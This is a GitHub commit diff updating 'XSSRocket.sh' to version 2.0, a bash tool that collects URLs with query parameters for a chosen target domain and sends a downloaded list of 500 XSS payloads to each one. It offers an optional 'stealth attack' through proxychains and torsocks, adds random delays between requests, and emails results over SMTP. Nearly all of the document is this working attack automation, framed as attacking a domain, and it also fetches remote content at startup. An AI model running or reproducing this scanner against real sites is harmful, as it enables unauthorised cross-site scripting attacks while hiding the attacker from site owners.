Skip to content

Commit 1b3e723

Browse files
Update XSSRocket.sh
V2.0 Added Email sending for results
1 parent 396a028 commit 1b3e723

File tree

1 file changed

+110
-201
lines changed

1 file changed

+110
-201
lines changed

XSSRocket.sh

Lines changed: 110 additions & 201 deletions
Original file line numberDiff line numberDiff line change
@@ -1,72 +1,14 @@
11
#!/bin/bash
2+
# Display ASCII art from external source
23
curl --silent "https://raw.githubusercontent.com/blackhatethicalhacking/Subdomain_Bruteforce_bheh/main/ascii.sh" | lolcat
34
echo ""
4-
# Generate a random Sun Tzu quote for offensive security
55

6-
# Array of Sun Tzu quotes
6+
# Generate a random Sun Tzu quote for offensive security
77
quotes=("The supreme art of war is to subdue the enemy without fighting." "All warfare is based on deception." "He who knows when he can fight and when he cannot, will be victorious." "The whole secret lies in confusing the enemy, so that he cannot fathom our real intent." "To win one hundred victories in one hundred battles is not the acme of skill. To subdue the enemy without fighting is the acme of skill.")
8-
9-
# Get a random quote from the array
108
random_quote=${quotes[$RANDOM % ${#quotes[@]}]}
9+
echo "Offensive security tip: $random_quote - Sun Tzu" | lolcat
1110

12-
# Check if lolcat, fortune-mod, figlet and curl are installed
13-
if ! command -v lolcat > /dev/null; then
14-
echo "lolcat not found, installing..."
15-
if command -v dnf > /dev/null; then
16-
sudo dnf install -y lolcat
17-
elif command -v yum > /dev/null; then
18-
sudo yum install -y lolcat
19-
elif command -v apt-get > /dev/null; then
20-
sudo apt-get install -y lolcat
21-
else
22-
echo "Error: package manager not found, please install lolcat manually"
23-
exit 1
24-
fi
25-
fi
26-
27-
if ! command -v fortune > /dev/null; then
28-
echo "fortune-mod not found, installing..."
29-
if command -v dnf > /dev/null; then
30-
sudo dnf install -y fortune-mod
31-
elif command -v yum > /dev/null; then
32-
sudo yum install -y fortune-mod
33-
elif command -v apt-get > /dev/null; then
34-
sudo apt-get install -y fortune-mod
35-
else
36-
echo "Error: package manager not found, please install fortune-mod manually"
37-
exit 1
38-
fi
39-
fi
40-
41-
if ! command -v figlet > /dev/null; then
42-
echo "figlet not found, installing..."
43-
if command -v dnf > /dev/null; then
44-
sudo dnf install -y figlet
45-
elif command -v yum > /dev/null; then
46-
sudo yum install -y figlet
47-
elif command -v apt-get > /dev/null; then
48-
sudo apt-get install -y figlet
49-
else
50-
echo "Error: package manager not found, please install figlet manually"
51-
exit 1
52-
fi
53-
fi
54-
55-
if ! command -v curl > /dev/null; then
56-
echo "curl not found, installing..."
57-
if command -v dnf > /dev/null; then
58-
sudo dnf install -y curl
59-
elif command -v yum > /dev/null; then
60-
sudo yum install -y curl
61-
elif command -v apt-get > /dev/null; then
62-
sudo apt-get install -y curl
63-
else
64-
echo "Error: package manager not found, please install curl manually"
65-
exit 1
66-
fi
67-
fi
68-
69-
echo "All dependencies installed successfully"
11+
echo "Important Note: If you do not change the SMTP configuration, and create your own account, you will not be able to see the results. You can use for free mailtrap.io and edit the tool source code by replacing your own credentials." | lolcat
7012

7113
# Print the quote
7214
echo "Offensive security tip: $random_quote - Sun Tzu" | lolcat
@@ -75,175 +17,142 @@ figlet "HACK THE PLANET!" | lolcat
7517
sleep 1
7618
echo "MEANS, IT'S ☕ 1337 ⚡ TIME, 369 ☯ " | lolcat
7719
sleep 1
78-
echo "[YOUR ARE USING XSSRocket.sh] - (v1.0) CODED BY Chris 'SaintDruG' Abou-Chabké WITH ❤ FOR blackhatethicalhacking.com for Educational Purposes only!" | lolcat
20+
echo "[YOUR ARE USING XSSRocket.sh] - (v2.0) CODED BY Chris 'SaintDruG' Abou-Chabké WITH ❤ FOR blackhatethicalhacking.com for Educational Purposes only!" | lolcat
7921
sleep 1
80-
#check if the user is connected to the internet
81-
tput bold;echo "CHECKING IF YOU ARE CONNECTED TO THE INTERNET!" | lolcat
82-
# Check connection
22+
23+
# Ask if user wants results via email
24+
echo "Do you want to receive the results via email? (y/n): " | lolcat
25+
read send_email
26+
27+
# If user wants email, ask for their email address
28+
if [[ "$send_email" == "y" ]]; then
29+
echo "Enter your email to receive the results: " | lolcat
30+
read user_email
31+
fi
32+
33+
# Dependencies check for lolcat, fortune-mod, figlet, and curl
34+
dependencies=("lolcat" "fortune" "figlet" "curl")
35+
for dep in "${dependencies[@]}"; do
36+
if ! command -v "$dep" > /dev/null; then
37+
echo "$dep not found, installing..." | lolcat
38+
if command -v dnf > /dev/null; then
39+
sudo dnf install -y "$dep"
40+
elif command -v yum > /dev/null; then
41+
sudo yum install -y "$dep"
42+
elif command -v apt-get > /dev/null; then
43+
sudo apt-get install -y "$dep"
44+
else
45+
echo "Error: package manager not found, please install $dep manually"
46+
exit 1
47+
fi
48+
fi
49+
done
50+
51+
# Check if the user is connected to the internet
52+
echo "CHECKING IF YOU ARE CONNECTED TO THE INTERNET!" | lolcat
8353
wget -q --spider https://google.com
84-
if [ $? -ne 0 ];then
85-
echo "++++ CONNECT TO THE INTERNET BEFORE RUNNING XSSRocket.sh!" | lolcat
86-
exit 1
54+
if [ $? -ne 0 ]; then
55+
echo "++++ CONNECT TO THE INTERNET BEFORE RUNNING XSSRocket.sh!" | lolcat
56+
exit 1
8757
fi
88-
tput bold;echo "++++ CONNECTION FOUND, LET'S GO!" | lolcat
58+
echo "++++ CONNECTION FOUND, LET'S GO!" | lolcat
8959

9060
# Ask the user to enter a domain
9161
echo "Enter the domain you want to attack: " | lolcat
9262
read domain
63+
9364
# Ask the user if they want to perform a stealth attack
9465
echo "Do you want to perform a stealth attack? (y/n)" | lolcat
9566
read stealth_attack
96-
# Use proxychains if the user said yes
67+
68+
# Use proxychains if stealth attack is selected
9769
if [[ $stealth_attack == "y" ]]; then
98-
# Check if proxychains4 is installed
99-
echo "Checking & Installing Proxychains..." | lolcat
100-
if ! command -v proxychains4 > /dev/null; then
101-
echo "proxychains4 is not installed, installing now..." | lolcat
102-
# Check the architecture used
103-
architecture=$(uname)
104-
# Install proxychains4 based on the architecture
105-
if [[ "$(uname -s)" == "Darwin" ]]; then
106-
brew install proxychains-ng
107-
brew install torsocks
108-
torsocks
109-
elif [[ "$(uname -s)" == "Linux" ]]; then
110-
sudo apt-get install -y proxychains4
111-
sudo apt-get install -y torsocks
112-
torsocks
113-
else
114-
echo "OS not supported or detected" | lolcat
115-
exit 1
116-
fi
117-
else
118-
echo "proxychains4 is already installed, proceeding with stealth attack..." | lolcat
119-
proxychains4 waybackurls $domain | grep -E '\?[a-zA-Z0-9]+=' > param_urls.txt
120-
fi
70+
echo "Checking & Installing Proxychains..." | lolcat
71+
if ! command -v proxychains4 > /dev/null; then
72+
echo "Installing proxychains4..." | lolcat
73+
sudo apt-get install -y proxychains4 torsocks
74+
torsocks
75+
fi
76+
echo "Proxychains installed, proceeding with stealth attack..." | lolcat
77+
proxychains4 waybackurls $domain | grep -E '\?[a-zA-Z0-9]+=' > param_urls.txt
12178
else
122-
# Fetch URLs normally
123-
echo "Proceeding with attack without Stealh..." | lolcat
124-
waybackurls $domain | grep -E '\?[a-zA-Z0-9]+=' > param_urls.txt
79+
echo "Proceeding without stealth..." | lolcat
80+
waybackurls $domain | grep -E '\?[a-zA-Z0-9]+=' > param_urls.txt
12581
fi
12682

127-
# Use a remote XSS payload list from github
83+
# Use a remote XSS payload list from GitHub
12884
payload_file="xss-payload-list.txt"
12985
payload_url="https://raw.githubusercontent.com/blackhatethicalhacking/XSSRocket/main/top-500-xss-payloads.txt"
13086
if test ! -f "$payload_file"; then
131-
echo "Downloading Default Payload list from: $payload_url" | lolcat
132-
if ! wget $payload_url -O $payload_file; then
133-
echo "Error: Failed to download default payload list." | lolcat
134-
exit 1
135-
else
136-
echo "Payload list already present in the current folder, proceeding" | lolcat
137-
fi
87+
echo "Downloading payload list from: $payload_url" | lolcat
88+
wget $payload_url -O $payload_file
13889
fi
139-
#Install PV
140-
echo "Installing Progress Bar depending on the architecture of your machine used..." | lolcat
141-
# Check the architecture used
142-
architecture=$(uname)
143-
# Install pv based on the architecture
144-
# Check for operating system architecture and install pv accordingly
145-
if [[ "$(uname -s)" == "Darwin" ]]; then
146-
if ! command -v pv > /dev/null; then
147-
echo "MacOS Detected and pv is not installed, installing now..." | lolcat
148-
brew install pv
149-
else
150-
echo "Linux Detected and pv is already installed, proceeding..." | lolcat
151-
fi
152-
elif [[ "$(uname -s)" == "Linux" ]]; then
153-
if ! command -v pv > /dev/null; then
154-
echo "pv is not installed, installing now..."
155-
sudo apt-get install -y pv
156-
else
157-
echo "pv is already installed, proceeding..."
158-
fi
159-
else
160-
echo "OS not supported or detected"
161-
exit 1
90+
91+
# Install pv (progress bar utility)
92+
if ! command -v pv > /dev/null; then
93+
sudo apt-get install -y pv
16294
fi
95+
96+
# Start the attack
16397
echo "Starting Attack:" | lolcat
164-
# Use cat to read the payload_list and send the GET request with that list of payload
165-
# Initialize counter variable
166-
# Use cat to read the payload_list and send the GET request with that list of payload
167-
# Initialize counter variable
16898
counter=0
16999
while read payload; do
170-
for url in $(cat param_urls.txt | sed 's/\([^=&?]*\)=.*/\1=/g'); do
171-
echo "Sending payload $payload to $url"
172-
# Add random delay between requests
173-
random_delay=$(awk 'BEGIN{srand();print int(rand()*2)}')
100+
for url in $(cat param_urls.txt | sed 's/\([^=&?]*\)=.*/\1=/g'); do
101+
echo "Sending payload $payload to $url"
102+
random_delay=$(awk 'BEGIN{srand();print int(rand()*2)}')
174103
sleep $random_delay
175-
176-
response=$(curl -s -G "$url$payload" -w "%{http_code}")
177-
status_code=${response: -3}
178-
if echo "$response" | grep -q "payload_marker"; then
179-
echo "Possibly Vulnerable to XSS ! $url" | lolcat
180-
echo $url >> affected_urls.txt
181-
counter=$((counter+1))
182-
triggered_payload="$payload"
183-
fi
184-
if [[ $status_code == "200" ]]; then
185-
echo -e "\033[0;32m$status_code\033[0m"
186-
else
187-
echo -e "\033[0;31m$status_code\033[0m"
188-
fi
189-
# Display the full URL with payload
190-
echo "$url$payload"
191-
# Add progress bar
192-
echo -n "." | pv -qL 10
193-
done
104+
response=$(curl -s -G "$url$payload" -w "%{http_code}")
105+
status_code=${response: -3}
106+
if echo "$response" | grep -q "payload_marker"; then
107+
echo "Possibly Vulnerable to XSS! $url" | lolcat
108+
echo $url >> affected_urls.txt
109+
counter=$((counter+1))
110+
triggered_payload="$payload"
111+
fi
112+
[[ $status_code == "200" ]] && echo -e "\033[0;32m$status_code\033[0m" || echo -e "\033[0;31m$status_code\033[0m"
113+
echo "$url$payload"
114+
echo -n "." | pv -qL 10
115+
done
194116
done < <(pv -N "XSS Payloads" xss-payload-list.txt)
195117

196-
if [ -n "$triggered_payload" ]; then
197-
echo "Displaying the payload that triggered the vulnerability: $triggered_payload"
118+
# Prepare the summary for email or terminal output
119+
summary=""
120+
if [ -s affected_urls.txt ]; then
121+
summary="A total of $(cat affected_urls.txt | wc -l) possible XSS injections found.\nPossible vulnerable URLs:\n$(cat affected_urls.txt)"
198122
else
199-
echo "No vulnerabilities found"
123+
summary="No vulnerabilities found during the scan."
200124
fi
201125

202-
echo "Creating the Folder and saving all the results..." | lolcat
203-
# Create a folder with the domain name and save the results
204-
# Clean the domain input from illegal characters
126+
# Save results in a folder
205127
clean_domain=`echo $domain | tr -cd '[:alnum:]\n\r'`
206-
207-
# Create the folder
208128
mkdir $clean_domain
209-
echo "$param_urls" >> $clean_domain/parameter_urls.txt
210-
echo "${affected_urls[@]}" >> $clean_domain/affected_urls.txt
211-
# Move the txt files generated inside the folder
212-
mv *.txt $clean_domain/
213-
if [ -s affected_urls.txt ]; then
214-
echo "Summary of the Scan:" | lolcat
215-
echo "A total of $(cat affected_urls.txt | wc -l) possible XSS Injections are found."
216-
echo "Possible Vulnerable URLs:" | lolcat
217-
cat affected_urls.txt
218-
echo "Found Vulnerability here:" | lolcat
219-
echo "Payload: (show the payload inserted)" | lolcat
129+
mv param_urls.txt affected_urls.txt $clean_domain/
130+
echo "Results saved in $clean_domain" | lolcat
131+
132+
# If user opted for email, send the results via email
133+
if [[ "$send_email" == "y" ]]; then
134+
echo "Sending results via email to $user_email..." | lolcat
135+
recipient="$user_email"
136+
subject="XSS Scan Results for $domain"
137+
body="Here is the summary of the XSS scan for $domain:\n\n$summary"
138+
smtp_url="smtp.mailtrap.io"
139+
smtp_port="2525"
140+
username="add your user smtp username"
141+
password="add your user smtp password"
142+
143+
curl --url "smtp://$smtp_url:$smtp_port" \
144+
--ssl-reqd \
145+
--mail-from "[email protected]" \
146+
--mail-rcpt "$recipient" \
147+
--upload-file <(echo -e "From: XSSRocket <[email protected]>\nTo: $recipient\nSubject: $subject\n\n$body") \
148+
--user "$username:$password"
149+
150+
echo -e "\nEmail sent!" | lolcat
220151
else
221-
echo "Summary of the Scan:" | lolcat
222-
echo "No Vulnerabilities Found" | lolcat
152+
# Display the summary in the terminal if user does not want email
153+
echo "Results Summary:" | lolcat
154+
echo -e "$summary" | lolcat
223155
fi
224-
sleep 1
225-
echo "Thank you for using our tool, if you feel it has helped you, you can buy us a coffee here: https://www.buymeacoffee.com/bheh" | lolcat
226-
sleep 1
227-
echo "Copyrights 2023 - All rights reserved - [email protected]"
228-
# Matrix effect
229-
echo "Entering the Matrix for 5 seconds:" | toilet --metal -f term -F border
230-
231-
R='\033[0;31m'
232-
G='\033[0;32m'
233-
Y='\033[1;33m'
234-
B='\033[0;34m'
235-
P='\033[0;35m'
236-
C='\033[0;36m'
237-
W='\033[1;37m'
238-
239-
for ((i=0; i<5; i++)); do
240-
echo -ne "${R}10 ${G}01 ${Y}11 ${B}00 ${P}01 ${C}10 ${W}00 ${G}11 ${P}01 ${B}10 ${Y}11 ${C}00\r"
241-
sleep 0.2
242-
echo -ne "${R}01 ${G}10 ${Y}00 ${B}11 ${P}10 ${C}01 ${W}11 ${G}00 ${P}10 ${B}01 ${Y}00 ${C}11\r"
243-
sleep 0.2
244-
echo -ne "${R}11 ${G}00 ${Y}10 ${B}01 ${P}00 ${C}11 ${W}01 ${G}10 ${P}00 ${B}11 ${Y}10 ${C}01\r"
245-
sleep 0.2
246-
echo -ne "${R}00 ${G}11 ${Y}01 ${B}10 ${P}11 ${C}00 ${W}10 ${G}01 ${P}11 ${B}00 ${Y}01 ${C}10\r"
247-
sleep 0.2
248-
done
249156

157+
# Final message
158+
echo "Thank you for using XSSRocket.sh!" | lolcat

0 commit comments

Comments
 (0)